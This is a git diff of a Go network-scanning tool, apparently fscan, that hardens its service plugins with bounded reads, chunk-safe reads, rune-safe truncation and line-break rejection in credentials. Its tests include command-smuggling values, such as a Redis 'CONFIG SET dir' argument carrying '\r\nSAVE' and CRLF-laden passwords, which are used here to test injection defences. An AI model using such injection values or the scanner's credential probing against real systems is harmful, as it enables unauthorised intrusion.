p.truncateText(text), err } diff --git a/plugins/services/redis_test.go b/plugins/services/redis_test.go new file mode 100644 index 0000000..21e5b55 --- /dev/null +++ b/plugins/services/redis_test.go @@ -0,0 +1,34 @@ +//go:build plugin_redis || !plugin_selective + +package services + +import ( + "net" + "strings" + "testing" + "time" +) + +func TestRedisReadReplyIsBounded(t *testing.T) { + conn := &redisReplyTestConn{Reader: strings.NewReader(strings.Repeat("a", maxRedisReplyBytes+1024))} + + got, err := NewRedisPlugin().readReply(conn) + if err != nil { + t.Fatalf("readReply() error = %v", err) + } + if len(got) != maxRedisReplyBytes { + t.Fatalf("readReply() len = %d, want %d", len(got), maxRedisReplyBytes) + } +} + +type redisReplyTestConn struct { + *strings.Reader +} + +func (c *redisReplyTestConn) Write([]byte) (int, error) { return 0, nil } +func (c *redisReplyTestConn) Close() error { return nil } +func (c *redisReplyTestConn) LocalAddr() net.Addr { return nil } +func (c *redisReplyTestConn) RemoteAddr() net.Addr { return nil } +func (c *redisReplyTestConn) SetDeadline(time.Time) error { return nil } +func (c *redisReplyTestConn) SetReadDeadline(time.Time) error { return nil } +func (c *redisReplyTestConn) SetWriteDeadline(time.Time) error { return nil } diff --git a/plugins/services/rmi.go b/plugins/services/rmi.go index 322e9ed..42cd897 100644 --- a/plugins/services/rmi.go +++ b/plugins/services/rmi.go @@ -51,13 +51,7 @@ func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{Success: false, Service: "rmi"} } - buf := make([]byte, 255) - n, err := conn.Read(buf) - if err != nil && n == 0 { - return &ScanResult{Success: false, Service: "rmi"} - } - - endpoint := parseRMIEndpoint(buf[:n]) + endpoint := readRMIEndpoint(conn) return &ScanResult{ Success: true, @@ -86,6 +80,25 @@ func parseRMIEndpoint(data []byte) string { return fmt.Sprintf("Java RMI endpoint=%s:%d", host, port) } +func readRMIEndpoint(conn interface { + Read([]byte) (int, error) +}) string { + header := make([]byte, 2) + if _, err := io.ReadFull(conn, header); err != nil { + return "Java RMI" + } + hostLen := int(header[0])<<8 | int(header[1]) + if hostLen <= 0 || hostLen > 249 { + return "Java RMI" + } + payload := make([]byte, hostLen+4) + if _, err := io.ReadFull(conn, payload); err != nil { + return "Java RMI" + } + data := append(header, payload...) + return parseRMIEndpoint(data) +} + func init() { RegisterPluginWithPorts("rmi", func() Plugin { return NewRMIPlugin() diff --git a/plugins/services/rmi_test.go b/plugins/services/rmi_test.go new file mode 100644 index 0000000..8885ace --- /dev/null +++ b/plugins/services/rmi_test.go @@ -0,0 +1,40 @@ +//go:build plugin_rmi || !plugin_selective + +package services + +import ( + "io" + "testing" +) + +type chunkedRMIReader struct { + data []byte + chunkSize int +} + +func (r *chunkedRMIReader) Read(p []byte) (int, error) { + if len(r.data) == 0 { + return 0, io.EOF + } + n := len(r.data) + if r.chunkSize > 0 && n > r.chunkSize { + n = r.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, r.data[:n]) + r.data = r.data[n:] + return n, nil +} + +func TestReadRMIEndpointHandlesChunkedReads(t *testing.T) { + data := []byte{0x00, 0x09} + data = append(data, "localhost"...) + data = append(data, 0x00, 0x00, 0x04, 0x4b) + + got := readRMIEndpoint(&chunkedRMIReader{data: data, chunkSize: 1}) + if got != "Java RMI endpoint=localhost:1099" { + t.Fatalf("readRMIEndpoint() = %q", got) + } +} diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index 7ebd751..5acc841 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -276,12 +276,9 @@ func (p *RsyncPlugin) getModules(conn net.Conn, config *common.Config) []string // 读取服务器版本 _ = conn.SetReadDeadline(time.Now().Add(timeout)) - versionBuf := make([]byte, 256) - n, err := conn.Read(versionBuf) - if err != nil { + if _, err := readRsyncLine(conn, 256); err != nil { return nil } - _ = string(versionBuf[:n]) // 回复客户端版本 _ = conn.SetWriteDeadline(time.Now().Add(timeout)) @@ -357,8 +354,7 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } _ = conn.SetReadDeadline(time.Now().Add(timeout)) - response := make([]byte, 1024) - n, err := conn.Read(response) + responseStr, err := readRsyncLine(conn, 1024) if err != nil { return &ScanResult{ Success: false, @@ -367,8 +363,6 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } } - responseStr := string(response[:n]) - var banner string if strings.Contains(responseStr, "@RSYNCD") { @@ -400,6 +394,26 @@ func (p *RsyncPlugin) identifyService(ctx context.Context, info *common.HostInfo } } +func readRsyncLine(conn interface { + Read([]byte) (int, error) +}, max int) (string, error) { + var line strings.Builder + var b [1]byte + for line.Len() < max { + if _, err := io.ReadFull(conn, b[:]); err != nil { + if err == io.EOF && line.Len() > 0 { + return line.String(), nil + } + return "", err + } + line.WriteByte(b[0]) + if b[0] == '\n' { + return line.String(), nil + } + } + return line.String(), nil +} + func init() { RegisterPluginWithPorts("rsync", func() Plugin { return NewRsyncPlugin() diff --git a/plugins/services/rsync_test.go b/plugins/services/rsync_test.go new file mode 100644 index 0000000..699159d --- /dev/null +++ b/plugins/services/rsync_test.go @@ -0,0 +1,39 @@ +//go:build (plugin_rsync || !plugin_selective) && go1.21 + +package services + +import ( + "io" + "testing" +) + +type chunkedRsyncReader struct { + data []byte + chunkSize int +} + +func (r *chunkedRsyncReader) Read(p []byte) (int, error) { + if len(r.data) == 0 { + return 0, io.EOF + } + n := len(r.data) + if r.chunkSize > 0 && n > r.chunkSize { + n = r.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, r.data[:n]) + r.data = r.data[n:] + return n, nil +} + +func TestReadRsyncLineHandlesChunkedReads(t *testing.T) { + got, err := readRsyncLine(&chunkedRsyncReader{data: []byte("@RSYNCD: 31.0\nrest"), chunkSize: 1}, 256) + if err != nil { + t.Fatalf("readRsyncLine() error = %v", err) + } + if got != "@RSYNCD: 31.0\n" { + t.Fatalf("readRsyncLine() = %q", got) + } +} diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index e4a4f08..91014c4 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -696,13 +696,9 @@ func classifySMBError(err error) ErrorType { // readSMBMessage 从连接读取NetBIOS消息 func readSMBMessage(conn net.Conn) ([]byte, error) { headerBuf := make([]byte, 4) - n, err := conn.Read(headerBuf) - if err != nil { + if _, err := io.ReadFull(conn, headerBuf); err != nil { return nil, err } - if n != 4 { - return nil, fmt.Errorf(i18n.GetText("netbios_header_too_short")+": %d", n) - } messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3]) @@ -715,13 +711,8 @@ func readSMBMessage(conn net.Conn) ([]byte, error) { } messageBuf := make([]byte, messageLength) - totalRead := 0 - for totalRead < messageLength { - n, err := conn.Read(messageBuf[totalRead:]) - if err != nil { - return nil, err - } - totalRead += n + if _, err := io.ReadFull(conn, messageBuf); err != nil { + return nil, err } result := make([]byte, 0, 4+messageLength) diff --git a/plugins/services/smb_protocol_test.go b/plugins/services/smb_protocol_test.go new file mode 100644 index 0000000..f1e465e --- /dev/null +++ b/plugins/services/smb_protocol_test.go @@ -0,0 +1,51 @@ +//go:build plugin_smb || !plugin_selective + +package services + +import ( + "io" + "net" + "testing" + "time" +) + +type chunkedSMBConn struct { + data []byte + chunkSize int +} + +func (c *chunkedSMBConn) Read(p []byte) (int, error) { + if len(c.data) == 0 { + return 0, io.EOF + } + n := len(c.data) + if c.chunkSize > 0 && n > c.chunkSize { + n = c.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, c.data[:n]) + c.data = c.data[n:] + return n, nil +} + +func (c *chunkedSMBConn) Write([]byte) (int, error) { return 0, nil } +func (c *chunkedSMBConn) Close() error { return nil } +func (c *chunkedSMBConn) LocalAddr() net.Addr { return nil } +func (c *chunkedSMBConn) RemoteAddr() net.Addr { return nil } +func (c *chunkedSMBConn) SetDeadline(time.Time) error { return nil } +func (c *chunkedSMBConn) SetReadDeadline(time.Time) error { return nil } +func (c *chunkedSMBConn) SetWriteDeadline(time.Time) error { + return nil +} + +func TestReadSMBMessageHandlesChunkedReads(t *testing.T) { + got, err := readSMBMessage(&chunkedSMBConn{data: []byte{0, 0, 0, 3, 'S', 'M', 'B'}, chunkSize: 1}) + if err != nil { + t.Fatalf("readSMBMessage() error = %v", err) + } + if string(got) != "\x00\x00\x00\x03SMB" { + t.Fatalf("readSMBMessage() = %q", got) + } +} diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go index fd8a24f..0686575 100644 --- a/plugins/services/snmp.go +++ b/plugins/services/snmp.go @@ -244,10 +244,7 @@ func parseSNMPResponse(data []byte) string { if value.Tag == asn1.TagOctetString || value.Tag == asn1.TagUTF8String { s := strings.TrimSpace(string(value.Bytes)) - if len(s) > 200 { - s = s[:200] - } - return s + return truncateRunes(s, 200) } return fmt.Sprintf("(type=%d, len=%d)", value.Tag, len(value.Bytes)) } diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index d4865cb..ade5916 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -550,9 +550,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf banner = i18n.GetText("telnet_password_only") } else if cleaned != "" { displayCleaned := cleaned - if len(displayCleaned) > 50 { - displayCleaned = displayCleaned[:50] + "..." - } + displayCleaned = truncateRunes(displayCleaned, 50) banner = i18n.Tr("telnet_custom_welcome", displayCleaned) } else { banner = i18n.GetText("telnet_remote_terminal_service") @@ -735,10 +733,7 @@ func (p *TelnetPlugin) extractEvidence(output string) string { if strings.HasPrefix(line, "echo ") || strings.HasPrefix(line, "id") || strings.HasPrefix(line, "show ") { continue } - if len(line) > 100 { - return line[:100] + "..." - } - return line + return truncateRunes(line, 100) } return "" } diff --git a/plugins/services/telnet_test.go b/plugins/services/telnet_test.go new file mode 100644 index 0000000..5d01239 --- /dev/null +++ b/plugins/services/telnet_test.go @@ -0,0 +1,17 @@ +//go:build plugin_telnet || !plugin_selective + +package services + +import ( + "strings" + "testing" + "unicode/utf8" +) + +func TestTelnetExtractEvidenceTruncatesByRune(t *testing.T) { + p := NewTelnetPlugin() + got := p.extractEvidence("CMD_START\n" + strings.Repeat("界", 105) + "\nCMD_END") + if !utf8.ValidString(got) || len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") { + t.Fatalf("extractEvidence() = %q", got) + } +} diff --git a/plugins/services/text_protocol.go b/plugins/services/text_protocol.go new file mode 100644 index 0000000..285cb88 --- /dev/null +++ b/plugins/services/text_protocol.go @@ -0,0 +1,54 @@ +//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis + +package services + +import ( + "fmt" + "strconv" + "strings" +) + +func hasLineBreak(s string) bool { + return strings.ContainsAny(s, "\r\n") +} + +func rejectLineBreaks(values ...string) error { + for _, value := range values { + if hasLineBreak(value) { + return fmt.Errorf("credential contains line break") + } + } + return nil +} + +func imapQuotedString(s string) (string, error) { + if hasLineBreak(s) { + return "", fmt.Errorf("imap credential contains line break") + } + return strconv.Quote(s), nil +} + +func buildIMAPLoginCommand(tag, username, password string) (string, error) { + quotedUser, err := imapQuotedString(username) + if err != nil { + return "", err + } + quotedPass, err := imapQuotedString(password) + if err != nil { + return "", err + } + return fmt.Sprintf("%s LOGIN %s %s\r\n", tag, quotedUser, quotedPass), nil +} + +func buildRedisAuthCommand(password string) []byte { + return buildRedisCommand("AUTH", password) +} + +func buildRedisCommand(args ...string) []byte { + var b strings.Builder + _, _ = fmt.Fprintf(&b, "*%d\r\n", len(args)) + for _, arg := range args { + _, _ = fmt.Fprintf(&b, "$%d\r\n%s\r\n", len(arg), arg) + } + return []byte(b.String()) +} diff --git a/plugins/services/text_protocol_test.go b/plugins/services/text_protocol_test.go new file mode 100644 index 0000000..614a727 --- /dev/null +++ b/plugins/services/text_protocol_test.go @@ -0,0 +1,44 @@ +//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis + +package services + +import "testing" + +func TestBuildRedisAuthCommandUsesBulkString(t *testing.T) { + got := string(buildRedisAuthCommand("pa ss\r\nword")) + want := "*2\r\n$4\r\nAUTH\r\n$11\r\npa ss\r\nword\r\n" + if got != want { + t.Fatalf("buildRedisAuthCommand() = %q, want %q", got, want) + } +} + +func TestBuildRedisCommandKeepsInjectedNewlinesInsideBulkString(t *testing.T) { + got := string(buildRedisCommand("CONFIG", "SET", "dir", "/tmp\r\nSAVE")) + want := "*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$10\r\n/tmp\r\nSAVE\r\n" + if got != want { + t.Fatalf("buildRedisCommand() = %q, want %q", got, want) + } +} + +func TestBuildIMAPLoginCommandQuotesCredentials(t *testing.T) { + got, err := buildIMAPLoginCommand("a001", `user name`, `pa"ss\word`) + if err != nil { + t.Fatalf("buildIMAPLoginCommand() error = %v", err) + } + want := "a001 LOGIN \"user name\" \"pa\\\"ss\\\\word\"\r\n" + if got != want { + t.Fatalf("buildIMAPLoginCommand() = %q, want %q", got, want) + } +} + +func TestTextProtocolCredentialsRejectLineBreaks(t *testing.T) { + if _, err := buildIMAPLoginCommand("a001", "user", "pa\nss"); err == nil { + t.Fatal("buildIMAPLoginCommand() error = nil, want line break rejection") + } + if err := rejectLineBreaks("user", "pa\rss"); err == nil { + t.Fatal("rejectLineBreaks() error = nil, want line break rejection") + } + if err := rejectLineBreaks("user", "pass"); err != nil { + t.Fatalf("rejectLineBreaks() error = %v, want nil", err) + } +} diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go index 6c02567..000b211 100644 --- a/plugins/services/tftp.go +++ b/plugins/services/tftp.go @@ -76,9 +76,7 @@ func parseTFTPResponse(data []byte) (string, bool) { return "TFTP DATA response", true case 0x05: msg := strings.TrimRight(string(data[4:]), "\x00") - if len(msg) > 160 { - msg = msg[:160] - } + msg = truncateRunes(msg, 160) if msg == "" { msg = "error response" } diff --git a/plugins/services/tftp_test.go b/plugins/services/tftp_test.go index f50faa5..9a876c9 100644 --- a/plugins/services/tftp_test.go +++ b/plugins/services/tftp_test.go @@ -5,6 +5,7 @@ package services import ( "strings" "testing" + "unicode/utf8" ) func TestTFTPReadRequestAndResponse(t *testing.T) { @@ -18,4 +19,9 @@ func TestTFTPReadRequestAndResponse(t *testing.T) { if !ok || !strings.Contains(banner, "not found") { t.Fatalf("unexpected tftp banner: %q ok=%v", banner, ok) } + + banner, ok = parseTFTPResponse(append([]byte{0x00, 0x05, 0x00, 0x01}, []byte(strings.Repeat("界", 165))...)) + if !ok || !utf8.ValidString(banner) || !strings.HasSuffix(banner, "...") { + t.Fatalf("unexpected tftp utf8 banner: %q ok=%v", banner, ok) + } } diff --git a/plugins/services/truncate.go b/plugins/services/truncate.go new file mode 100644 index 0000000..f4910c2 --- /dev/null +++ b/plugins/services/truncate.go @@ -0,0 +1,14 @@ +package services + +func truncateRunes(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} diff --git a/plugins/services/truncate_test.go b/plugins/services/truncate_test.go new file mode 100644 index 0000000..b760be3 --- /dev/null +++ b/plugins/services/truncate_test.go @@ -0,0 +1,31 @@ +//go:build plugin_redis || !plugin_selective + +package services + +import ( + "strings" + "testing" + "unicode/utf8" +) + +func TestTruncateRunesKeepsUTF8Valid(t *testing.T) { + got := truncateRunes(strings.Repeat("界", 205), 200) + if !utf8.ValidString(got) { + t.Fatalf("truncateRunes returned invalid utf8: %q", got) + } + if len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") { + t.Fatalf("truncateRunes() = rune len %d value %q", len([]rune(got)), got) + } + + got = truncateRunes(strings.Repeat("界", 55), 50) + if !utf8.ValidString(got) || len([]rune(got)) != 53 || !strings.HasSuffix(got, "...") { + t.Fatalf("truncateRunes(50) = rune len %d value %q", len([]rune(got)), got) + } +} + +func TestRedisTruncateTextTruncatesByRune(t *testing.T) { + got := NewRedisPlugin().truncateText(strings.Repeat("界", 55)) + if !utf8.ValidString(got) || len([]rune(got)) != 53 { + t.Fatalf("truncateText() = %q", got) + } +} diff --git a/plugins/services/udp_parsers_test.go b/plugins/services/udp_parsers_test.go new file mode 100644 index 0000000..b7fe14b --- /dev/null +++ b/plugins/services/udp_parsers_test.go @@ -0,0 +1,120 @@ +//go:build !plugin_selective || (plugin_dns && plugin_tftp && plugin_bacnet && plugin_snmp) + +package services + +import ( + "encoding/binary" + "strings" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func TestDNSRootNSQueryAndResponse(t *testing.T) { + const id uint16 = 0x1234 + + query := buildDNSRootNSQuery(id) + if len(query) != 17 { + t.Fatalf("query length = %d, want 17", len(query)) + } + if got := binary.BigEndian.Uint16(query[0:2]); got != id { + t.Fatalf("query id = %#x, want %#x", got, id) + } + if got := binary.BigEndian.Uint16(query[13:15]); got != 2 { + t.Fatalf("query type = %d, want NS(2)", got) + } + + response := make([]byte, 12) + binary.BigEndian.PutUint16(response[0:2], id) + binary.BigEndian.PutUint16(response[2:4], 0x8183) + binary.BigEndian.PutUint16(response[4:6], 1) + binary.BigEndian.PutUint16(response[6:8], 2) + binary.BigEndian.PutUint16(response[8:10], 3) + binary.BigEndian.PutUint16(response[10:12], 4) + + banner, ok := parseDNSResponse(response, id) + if !ok { + t.Fatal("expected DNS response to parse") + } + for _, want := range []string{"rcode=3", "qd=1", "an=2", "ns=3", "ar=4"} { + if !strings.Contains(banner, want) { + t.Fatalf("banner %q missing %q", banner, want) + } + } + + if _, ok := parseDNSResponse(response, id+1); ok { + t.Fatal("response with wrong id should not parse") + } + response[2] = 0 + if _, ok := parseDNSResponse(response, id); ok { + t.Fatal("query packet should not parse as response") + } +} + +func TestTFTPRequestAndResponseParsing(t *testing.T) { + req := buildTFTPReadRequest("probe") + want := []byte{0, 1, 'p', 'r', 'o', 'b', 'e', 0, 'o', 'c', 't', 'e', 't', 0} + if string(req) != string(want) { + t.Fatalf("request = %v, want %v", req, want) + } + + if banner, ok := parseTFTPResponse([]byte{0, 3, 0, 1}); !ok || banner != "TFTP DATA response" { + t.Fatalf("DATA parse = %q/%v", banner, ok) + } + if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 'n', 'o', 't', ' ', 'f', 'o', 'u', 'n', 'd', 0}); !ok || banner != "TFTP not found" { + t.Fatalf("ERROR parse = %q/%v", banner, ok) + } + if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 0}); !ok || banner != "TFTP error response" { + t.Fatalf("empty ERROR parse = %q/%v", banner, ok) + } + if _, ok := parseTFTPResponse([]byte{0, 9, 0, 1}); ok { + t.Fatal("unknown opcode should not parse") + } +} + +func TestBACnetResponseParsing(t *testing.T) { + data := []byte{0x81, 0x0a, 0x00, 0x08, 0x01, 0x20, 0x10, 0x00} + if banner, ok := parseBACnetResponse(data); !ok || banner != "BACnet I-Am response" { + t.Fatalf("BACnet parse = %q/%v", banner, ok) + } + if _, ok := parseBACnetResponse([]byte{0x81, 0x0a, 0x00, 0x09, 0x01, 0x20, 0x10, 0x00}); ok { + t.Fatal("bad BACnet length should not parse") + } + if _, ok := parseBACnetResponse([]byte{0x82, 0x0a, 0x00, 0x06, 0x10, 0x00}); ok { + t.Fatal("bad BACnet marker should not parse") + } +} + +func TestSNMPBuildersAndCommunityList(t *testing.T) { + req := buildSNMPGetRequest("public", []int{1, 3, 6, 1, 2, 1, 1, 1, 0}) + if len(req) == 0 || req[0] != 0x30 { + t.Fatalf("SNMP request should be an ASN.1 sequence, got %v", req) + } + if got := parseSNMPResponse(nil); got != "" { + t.Fatalf("nil SNMP response = %q, want empty", got) + } + + cfg := common.NewConfig() + cfg.Credentials.Passwords = []string{"private", "custom", "public"} + communities := NewSNMPPlugin().buildCommunityList(cfg) + if !containsString(communities, "public") || !containsString(communities, "private") || !containsString(communities, "custom") { + t.Fatalf("community list missing expected entries: %v", communities) + } + if countString(communities, "public") != 1 || countString(communities, "private") != 1 { + t.Fatalf("community list should deduplicate entries: %v", communities) + } +} + +func containsString(values []string, target string) bool { + return countString(values, target) > 0 +} + +func countString(values []string, target string) int { + count := 0 + for _, value := range values { + if value == target { + count++ + } + } + return count +} diff --git a/plugins/services/zookeeper.go b/plugins/services/zookeeper.go index ab2f8a3..91f3e44 100644 --- a/plugins/services/zookeeper.go +++ b/plugins/services/zookeeper.go @@ -64,10 +64,7 @@ func parseZooKeeperResponse(data []byte) (string, bool) { lower := strings.ToLower(resp) if strings.Contains(lower, "zookeeper") || strings.Contains(lower, "zk_version") || strings.Contains(lower, "mode:") || strings.Contains(lower, "not in the whitelist") { - if len(resp) > 200 { - resp = resp[:200] - } - return resp, true + return truncateRunes(resp, 200), true } return "", false } diff --git a/plugins/services/zookeeper_test.go b/plugins/services/zookeeper_test.go index a8cd9c2..039dd2f 100644 --- a/plugins/services/zookeeper_test.go +++ b/plugins/services/zookeeper_test.go @@ -2,7 +2,11 @@ package services -import "testing" +import ( + "strings" + "testing" + "unicode/utf8" +) func TestParseZooKeeperResponse(t *testing.T) { banner, ok := parseZooKeeperResponse([]byte("imok")) @@ -13,4 +17,10 @@ func TestParseZooKeeperResponse(t *testing.T) { if _, ok := parseZooKeeperResponse([]byte("hello")); ok { t.Fatal("unexpected match for non-zookeeper response") } + + longResp := "zk_version\t" + strings.Repeat("界", 205) + banner, ok = parseZooKeeperResponse([]byte(longResp)) + if !ok || !utf8.ValidString(banner) || len([]rune(banner)) != 203 { + t.Fatalf("zookeeper truncation = %q ok=%v", banner, ok) + } } diff --git a/plugins/web/webpoc_test.go b/plugins/web/webpoc_test.go new file mode 100644 index 0000000..7875b6e --- /dev/null +++ b/plugins/web/webpoc_test.go @@ -0,0 +1,53 @@ +package web + +import ( + "context" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func TestMatchCDNorWAF(t *testing.T) { + tests := []struct { + name string + fingerprints []string + want string + }{ + {name: "empty", fingerprints: nil, want: ""}, + {name: "no match", fingerprints: []string{"nginx", "wordpress"}, want: ""}, + {name: "case insensitive cdn", fingerprints: []string{"site behind cloudflare"}, want: "CloudFlare"}, + {name: "chinese waf", fingerprints: []string{"命中安全狗防护"}, want: "安全狗"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := matchCDNorWAF(tt.fingerprints); got != tt.want { + t.Fatalf("matchCDNorWAF(%v) = %q, want %q", tt.fingerprints, got, tt.want) + } + }) + } +} + +func TestWebPocEarlyReturnBranches(t *testing.T) { + plugin := NewWebPocPlugin() + if plugin == nil || plugin.Name() != "webpoc" { + t.Fatalf("unexpected plugin: %#v", plugin) + } + + cfg := common.NewConfig() + session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) + info := &common.HostInfo{Host: "example.com", Port: 80} + + cfg.POC.Disabled = true + disabled := plugin.Scan(context.Background(), info, session) + if disabled.Success || disabled.Error == nil { + t.Fatalf("disabled scan = %#v, want failed result with error", disabled) + } + + cfg.POC.Disabled = false + cfg.POC.Full = false + skipped := plugin.Scan(context.Background(), info, session) + if !skipped.Success || !skipped.Skipped { + t.Fatalf("non-full scan = %#v, want skipped success", skipped) + } +} diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index 0903715..72bfd1f 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -24,6 +24,8 @@ import ( "github.com/shadow1ng/fscan/webscan/lib" ) +const maxWebTitleBodyBytes = 2 << 20 + // 预编译正则表达式 var ( titleRegex = regexp.MustCompile(`(?i)]*>([^<]+)`) @@ -136,10 +138,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, baseURL := webTitleURL(urlScheme, info.Host, info.Port) // 选择对应的 HTTP 客户端 - clientNR, clientR := lib.ClientNoRedirect, lib.Client - if isGM { - clientNR, clientR = lib.ClientNoRedirectGM, lib.ClientGM - } + clientNR, clientR := webTitleHTTPClients(isGM) // 构建显示用URL(隐藏标准端口) var displayURL string @@ -164,7 +163,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, return "", 0, 0, "", nil, displayURL, err } - body, err := io.ReadAll(resp.Body) + body, err := readWebTitleBody(resp.Body) _ = resp.Body.Close() contentLen := len(body) if err != nil { @@ -196,7 +195,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, reqRedirect.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") respRedirect, err := clientR.Do(reqRedirect) if err == nil { - bodyRedirect, err := io.ReadAll(respRedirect.Body) + bodyRedirect, err := readWebTitleBody(respRedirect.Body) _ = respRedirect.Body.Close() if err == nil && len(bodyRedirect) > 0 { // 添加跳转后页面的指纹数据 @@ -299,6 +298,34 @@ func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostIn WebScan.WebScan(ctx, info, config, session) } +func webTitleHTTPClients(isGM bool) (*http.Client, *http.Client) { + if isGM { + return firstHTTPClient(lib.ClientNoRedirectGM, defaultNoRedirectClient()), firstHTTPClient(lib.ClientGM, http.DefaultClient) + } + return firstHTTPClient(lib.ClientNoRedirect, defaultNoRedirectClient()), firstHTTPClient(lib.Client, http.DefaultClient) +} + +func firstHTTPClient(clients ...*http.Client) *http.Client { + for _, client := range clients { + if client != nil { + return client + } + } + return http.DefaultClient +} + +func defaultNoRedirectClient() *http.Client { + return &http.Client{ + CheckRedirect: func(*http.Request, []*http.Request) error { + return http.ErrUseLastResponse + }, + } +} + +func readWebTitleBody(r io.Reader) ([]byte, error) { + return io.ReadAll(io.LimitReader(r, maxWebTitleBodyBytes)) +} + // formatHeaders 将 HTTP Header 格式化为字符串 func (p *WebTitlePlugin) formatHeaders(headers http.Header) string { var builder strings.Builder @@ -361,9 +388,7 @@ func (p *WebTitlePlugin) extractTitle(html string) string { title := strings.TrimSpace(matches[1]) title = whitespaceRegex.ReplaceAllString(title, " ") - if len(title) > 100 { - title = title[:100] + "..." - } + title = truncateRunes(title, 100) if utf8.ValidString(title) { return title @@ -373,6 +398,19 @@ func (p *WebTitlePlugin) extractTitle(html string) string { return "" } +func truncateRunes(s string, maxRunes int) string { + if maxRunes < 0 { + return s + } + for i := range s { + if maxRunes == 0 { + return s[:i] + "..." + } + maxRunes-- + } + return s +} + // fetchFaviconHash 下载 favicon.ico 并计算 hash func (p *WebTitlePlugin) fetchFaviconHash(ctx context.Context, baseURL string) fingerprint.FaviconHashes { // 构造 favicon URL diff --git a/plugins/web/webtitle_test.go b/plugins/web/webtitle_test.go index f92b730..9ce70e2 100644 --- a/plugins/web/webtitle_test.go +++ b/plugins/web/webtitle_test.go @@ -3,7 +3,9 @@ package web import ( "context" "net/http" + "strings" "testing" + "unicode/utf8" "github.com/shadow1ng/fscan/webscan/lib" ) @@ -12,6 +14,14 @@ type faviconRoundTripper struct { called bool } +func TestExtractTitleTruncatesByRune(t *testing.T) { + title := strings.Repeat("界", 105) + got := NewWebTitlePlugin().extractTitle("" + title + "") + if !utf8.ValidString(got) || len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") { + t.Fatalf("extractTitle() = %q", got) + } +} + func (rt *faviconRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) { rt.called = true <-req.Context().Done() @@ -56,3 +66,38 @@ func TestWebTitleURLUsesJoinHostPort(t *testing.T) { }) } } + +func TestWebTitleHTTPClientsFallbackWhenGlobalsNil(t *testing.T) { + previousClient, previousNoRedirect := lib.Client, lib.ClientNoRedirect + previousGM, previousNoRedirectGM := lib.ClientGM, lib.ClientNoRedirectGM + lib.Client, lib.ClientNoRedirect = nil, nil + lib.ClientGM, lib.ClientNoRedirectGM = nil, nil + defer func() { + lib.Client, lib.ClientNoRedirect = previousClient, previousNoRedirect + lib.ClientGM, lib.ClientNoRedirectGM = previousGM, previousNoRedirectGM + }() + + clientNR, clientR := webTitleHTTPClients(false) + if clientNR == nil || clientR == nil { + t.Fatal("webTitleHTTPClients returned nil fallback client") + } + + req, err := http.NewRequest(http.MethodGet, "http://example.com", nil) + if err != nil { + t.Fatal(err) + } + if err := clientNR.CheckRedirect(req, []*http.Request{req}); err != http.ErrUseLastResponse { + t.Fatalf("no-redirect fallback error = %v, want http.ErrUseLastResponse", err) + } +} + +func TestReadWebTitleBodyIsBounded(t *testing.T) { + body := strings.NewReader(strings.Repeat("a", maxWebTitleBodyBytes+1024)) + got, err := readWebTitleBody(body) + if err != nil { + t.Fatalf("readWebTitleBody error = %v", err) + } + if len(got) != maxWebTitleBodyBytes { + t.Fatalf("body len = %d, want %d", len(got), maxWebTitleBodyBytes) + } +} diff --git a/web/api/result.go b/web/api/result.go index a28d1ff..1ec9c16 100644 --- a/web/api/result.go +++ b/web/api/result.go @@ -113,8 +113,8 @@ func (s *ResultStore) Add(result interface{}) *ResultItem { if details, ok := m["details"].(map[string]interface{}); ok { item.Details = details if port, ok := details["port"]; ok { - if item.Target != "" && !strings.Contains(item.Target, ":") { - item.Target = fmt.Sprintf("%s:%v", item.Target, port) + if target := targetWithDetailsPort(item.Target, port); target != "" { + item.Target = target } } item.Status = buildStatusFromDetails(item.Type, item.Status, details) @@ -165,6 +165,37 @@ func (s *ResultStore) Add(result interface{}) *ResultItem { return &item } +func targetWithDetailsPort(target string, port interface{}) string { + if target == "" { + return "" + } + if strings.Contains(target, "://") || strings.ContainsAny(target, "/?#") { + return "" + } + if _, _, ok := splitTargetHostPort(target); ok { + return "" + } + if strings.Contains(target, ":") { + hostForIP := target + if strings.HasPrefix(hostForIP, "[") && strings.HasSuffix(hostForIP, "]") { + hostForIP = 